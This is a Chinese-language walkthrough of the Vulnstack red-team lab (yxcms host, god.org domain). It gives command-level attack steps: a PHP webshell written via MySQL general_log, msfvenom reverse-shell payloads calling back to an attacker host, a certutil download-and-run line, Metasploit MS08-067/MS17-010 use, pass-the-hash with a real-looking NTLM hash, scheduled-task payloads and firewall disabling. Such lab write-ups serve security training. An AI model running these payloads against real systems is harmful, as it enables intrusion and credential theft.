前言
下载地址:
http://vulnstack.qiyuanxuetang.net/vuln/detail/2/
要以真实企业环境为实例搭建一系列靶场
实战完全模拟ATT&CK攻击链路进行搭建,完成完整闭环
本文涉及技术内容:
一、环境搭建
1.环境搭建测试
2.信息收集
二、漏洞利用
3.漏洞搜索与利用
4.后台Getshell上传技巧
5.系统信息收集
6.主机密码收集
三、内网搜集
7.内网–继续信息收集
8.内网攻击姿势–信息泄露
9.内网攻击姿势-MS08-067
10.内网攻击姿势-SMB远程桌面口令猜测
11.内网攻击姿势-Oracle数据库TNS服务漏洞
12.内网攻击姿势-RPC DCOM服务漏洞
四、横向移动
13.内网其它主机端口-文件读取
14.内网其它主机端口-redis
15.内网其它主机端口-redis Getshell
16.内网其它主机端口-MySQL数据库
17.内网其它主机端口-MySQL提权
五、构建通道
18.内网其它主机端口-代理转发
六、持久控制
19.域渗透-域成员信息收集
20.域渗透-基础服务弱口令探测及深度利用之powershell
21.域渗透-横向移动[wmi利用]
22.域渗透-C2命令执行
23.域渗透-利用DomainFronting实现对beacon的深度隐藏
24.域渗透-域控实现与利用
七、痕迹清理
25、日志清理
0x00 环境搭建
VMware® Workstation 15 Pro 15.1.0 build-13591040
1. 环境拓扑
2. 虚拟网卡 网络配置 信息
DHCP开着以后配机器也有用
2.1 域控 2008 配置
2.1.1 首选DNS设为域控
2.1.2 安装相关服务
2.1.2.1 服务器管理器内 添加Active Directory域服务
2.1.2.2 dcpromo.exe Active Directory域服务安装向导
傻瓜下一步操作 域控服务和DNS服务
2.1.2.3 新林中新建域 自定义域名
2.1.3 更改域和工作组
2.1.4 域中 添加用户
2.1.5 其他主机 加入域中
2.1.5.1 DNS地址更改
2.1.5.2 加入域
其他 主机 同理
至此 域环境搭建完毕
0x01 测试流程
1.1 信息收集
1.1.1 主机探测
● Netdiscover
Netdiscover是一种网络扫描工具,通过ARP扫描发现活动主机,可以通过主动和被动两种模式进行ARP扫描。
通过主动发送ARP请求检查网络ARP流量,通过自动扫描模式扫描网络地址。
netdiscover -i eth0 -r 172.16.7.0/24
1.1.2 【入口点】-端口扫描
nmap
nmap -sC -v -n -sV -Pn -p 1-65535 172.16.7.57
172.16.7.57 80 web端口开启 进入页面 发现 探针 收集大量泄露信息
1.1.3 web目录扫描
● 7kbscan-WebPathBrute目录扫描工具 【基于字典】
● 御剑后台 【85w字典】 注意 平常多收集 扫描字典 【多工具对比扫描结果】
与网上 字典对比
整站目录 爬取分析 工具
发现 网站备份文件 和 phpMyadmin 数据库管理软件
好了 进入正题 http://172.16.7.57/yxcms/
1.2 漏洞利用
1.2.1 漏洞发现
1.2.1.1 漏洞一 敏感信息泄露 + 弱口令
泄露 后台登录地址 与 用户口令
1.2.1.2 漏洞二 PhpMyAdmin弱口令
默认用户名/口令(root/root)
1.2.1.3 漏洞三 yxcms功能点 留言本 存在存储型XSS漏洞
前台提交带有XSS代码的留言
http://172.16.7.57/yxcms/index.php?r=default/extend/index&id=100023
test<script>alert(45)</script>
后台审核 页面 出现 XSS弹窗
对应数据表
`yx_extend_guestbook`
审核通过 前台留言板 界面 出现 弹框
危害 可通过该漏洞获取管理员cookie 或者 诱导管理员点击执行某恶意代码
1.2.1.4 漏洞四 yxcms功能点 后台任意文件读写漏洞
创建 新模板 为 php一句话
备份文件可知文件保存的目录
http://172.16.7.57/yxcms/protected/apps/default/view/default/test.php
菜刀 chopper
蚁剑
1.2.1.6 漏洞五 PhpMyAdmin 开启全局日志getshell
Select '<?php eval($_POST[aming]);?> ' into outfile 'C:/phpStudy/WWW/hack.php'
是否可以使用select into outfile直接写入 写入失败
show global variables like '%secure%';
看变量secure-file-priv 值为NULL,且为只读无法修改。
show global variables like '%general_%';
尝试使用全局日志写入shell,查看全局变量general_log:
ok
开启全局日志并修改日志保存位置为C:/phpStudy/WWW/hack.php
set global general_log=on;
set global general_log_file='C:/phpStudy/WWW/hack.php';
C:\phpStudy\MySQL\data\stu1.log
查询一句话
写入日志
Select '<?php eval($_POST[aming]);?>'
1.3 内网渗透
1.3.1 CS 上线
打开cs server
生成windows 后门
配置监听器 用内置的 http 监听器
这里可以查看 所有监听器
菜刀 执行 并cs 客户端上线
1.3.2 收集主机 系统信息
1.3.2.1 主机 和 域环境
shell ipconfig /all
shell set logon
发现内网ip地址192.168.52.143和域god.org
1.3.2.2 域控 和 域用户
net group /domain #查看域内所有用户列表
net view /domain ×
net view /domain:god ×
net group "domain computers" /domain #查看域成员计算机列表
net group "domain admins" /domain #查看域管理员用户
本机计算机名字为STU1,另外还有两个域用户分别是DEV1、ROOT-TVI862UBEH、
域控制用户为OWA
1.3.2.3 主机密码收集
获取系统用户名和密码
1.3.2.3.1 转储 Hash
用户和密码的hash值,输出成功与否跟账户的权限有关系
1.3.2.3.2 尝试Mimikatz模块
若提示权限不够,账户和密码的hash获取失败,则尝试Mimikatz模块
能不能查看一下密码。输出成功与否跟账户的权限有关系
1.3.3 rdp 远程登录
并关闭防火墙
注册表开启3389端口
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
关闭防火墙
netsh firewall set opmode disable #winsows server 2003 之前
netsh advfirewall set allprofiles state off #winsows server 2003 之后
1.3.2.4.1 远程开启3389端口
1.3.2.4.2 关闭防火墙
1.3.2.4.2 使用域用户登录
god\administrator/whoisHack@…?
成功登录这一台win7WEB主机
1.3.4 内网信息收集
1.3.4.1 域信息收集
● 前期情报:
Win7计算机名字为STU1, 内网的IP地址为192.168.52.143
另外还有两个域用户分别是DEV1、ROOT-TVI862UBEH、域控制用户为OWA
1.3.4.1.1 Ladon 探测存活主机
域成员:192.168.52.141
域控DC:192.168.52.138
1.3.5 内网漏洞扫描
发现win7主机上安装了
● nmap工具
我们可以进一步针对192.168.52.0/24内网网段进行漏洞信息收集
nmap --script-vuln -p 1-65535 192.168.52.141
nmap --script-vuln -p 1-65535 192.168.52.138
● 发现192.168.1.141存在漏洞:
MS08-067、MS17-010,
● 192.168.1.138存在
MS17-010
1.3.6 攻击思路:
1、我们可以直接全部使用MS17-010获取域成员和域控主机;
2、使用MS08-067获取域成员主机,然后使用横向移动【VMI利用】获取域控主机
1.4 内网横向
1.4.1 MSF 反弹 shell
感谢各位大佬看到这儿~~~~
送你们个小木马!!!
1.4.1.1 生成shell载荷
1.4.1.2 菜刀上传
访问
流量传输路径:
载荷---->php 解析器 解析 php payload --> 172.16.7.0/24网段连接 tcp msf 客户端
#生成反弹shell文件
┌──(root💀amingMM)-[~]
└─# msfvenom -p php/meterpreter/reverse_tcp LHOST=172.16.7.55 LPORT=4444 -f raw > /root/Desktop/shell.php
#在本机中设置监听
msfconsole
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 172.16.7.55
set lport 4444
run
172.16.7.57/shell.php
获得shell反弹控制
1.4.2 msf+proxychains实现内网转发
● 原理:
添加路由到目标环境网络
使得msf能够通过win7路由转发访问192.168.25.0/24网段
#添加一条路由
run autoroute -s 192.168.52.0/24
#查看路由添加情况
run autoroute -p
#把会话调到后台运行
background
1.4.2.1 修改代理配置文件
### 环境msf6 ###
修改代理配置文件
vim /etc/proxychains4.conf
1.注释 proxy_dns
2.在[ProxyList]下面添加
socks4 172.16.7.55 8888
1.4.2.2 开启反向代理服务
### 环境msf6 ###
use auxiliary/server/socks_proxy
set srvhost 172.16.12.30
set SRVPORT 8888
set VERSION 4a
run
#按回车
[*] Starting the SOCKS proxy server
msf6 auxiliary(server/socks_proxy) > jobs
检查一下代理 【回家做的实验DHCP为192.168.31.0/24 请忽略】
使用proxychains代理nmap扫描主机
proxychains nmap -sT -sV -Pn -p 22,80,443,135,445 --script=smb-vuln-ms08-067.nse 192.168.52.141
1.4.3 MS08-067 搭配Bind TCP
由于没有定义双向路由,目标系统无法直接连接到攻击机,
所以我们需要将Bind_tcp设置为payload类型,在exploit操作成功之后,就要对连接到目标系统的端口进行监听,
两者区别如下:
use exploit/windows/smb/ms08_067_netapi
set rhost 192.168.52.141
set payload windows/meterpreter/bind_tcp
show options
run
获取域成员192.168.1.141的shell
1.4.4 MS17-010
获取域服务器和域控服务器权限
使用
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.52.138
run
use exploit/windows/smb/ms17_010_psexec
set payload windows/meterpreter/bind_tcp
set RHOST 192.168.52.138
run
都攻击失败 无有效会话。
1.4.5 WMI获取域控服务器
1.4.5.1上传vmiexec.vbs
到192.168.52.143(win7)机器上,然后执行
执行wmiexp
cscript.exe wmiexec.vbs /cmd 192.168.52.138 administrator whoisHack@..? "whoami"
Ladom工具执行
ladom wmiexec 192.168.52.138 administrator whoisHack@..? whoami
1.4.5.2 获取一个正向 msf连接
● 生成一个正向的exe文件放到win7的网站目录上
msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=6666 -f exe > /root/Desktop/shell.exe
使用WMI执行命令
cscript.exe wmiexec.vbs /cmd 192.168.52.138 administrator whoisHack@..? "certutil.exe -urlcache -split -f http://192.168.52.143/shell.exe&shell.exe"
成功执行,这时候在138机器(DC—win2008)上开启6666端口监听
在msf上个运行bind_tcp来获取回话
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set RHOST 192.168.52.138
set LPORT 6666
run
成功获取域控权限,后续提权,可以使用msf mimikatz进一步获取用户密码等…
1.4.5.3 Ladon WMI命令 关闭防火墙
ladon wmiexec 192.168.52.138 administrator whoisHack@..? "netsh advfirewall set allprofiles state off"
开始提权
1.4.5.4 开始提权
● 尝试 msf提权 multi/recon/local_exploit_suggester
use exploit/windows/local/bypassuac_dotnet_profiler等模块 均失败
● 使用CVE-2018-8120
直接文件上传upload CVE-2018-8120-master
成功提权,上免杀mimikatz
所有密码都会保存在mz.log文件中,可以直接type mz.log查看
1.4.6 票据加计划任务获取DC
CS 内 mimikatz beacon 执行
mimikatz sekurlsa::pth /domain:god.org /user:administrator /ntlm:81be2f80d568100549beac645d6a7141
shell dir \192.168.52.138\c$ //dir DC的目录
#### 生成一个exe马
####这里用
windows/reverse_bind_tcp LHOST=0.0.0.0 LPORT=1117 生成正向的马
#### 把马复制到域控机器上 用这个写入计划任务的方法去连接
shell copy C:\yukong.exe \192.168.52.138\c$
shell schtasks /create /tn "test" /tr C:\shell.exe /sc once /st 22:14 /S 192.168.52.138 /RU System /u administrator /p "whoisHack@..?"
#### 这里马反弹会连不成功 改成meterpreter的马
#### 挂着win7代理 即可弹回DC .138的shell
proxy nc -vv 192.168.52.138 1117
#### 清除计划任务
schtasks /delete /s 192.168.52.138 /tn "test" /f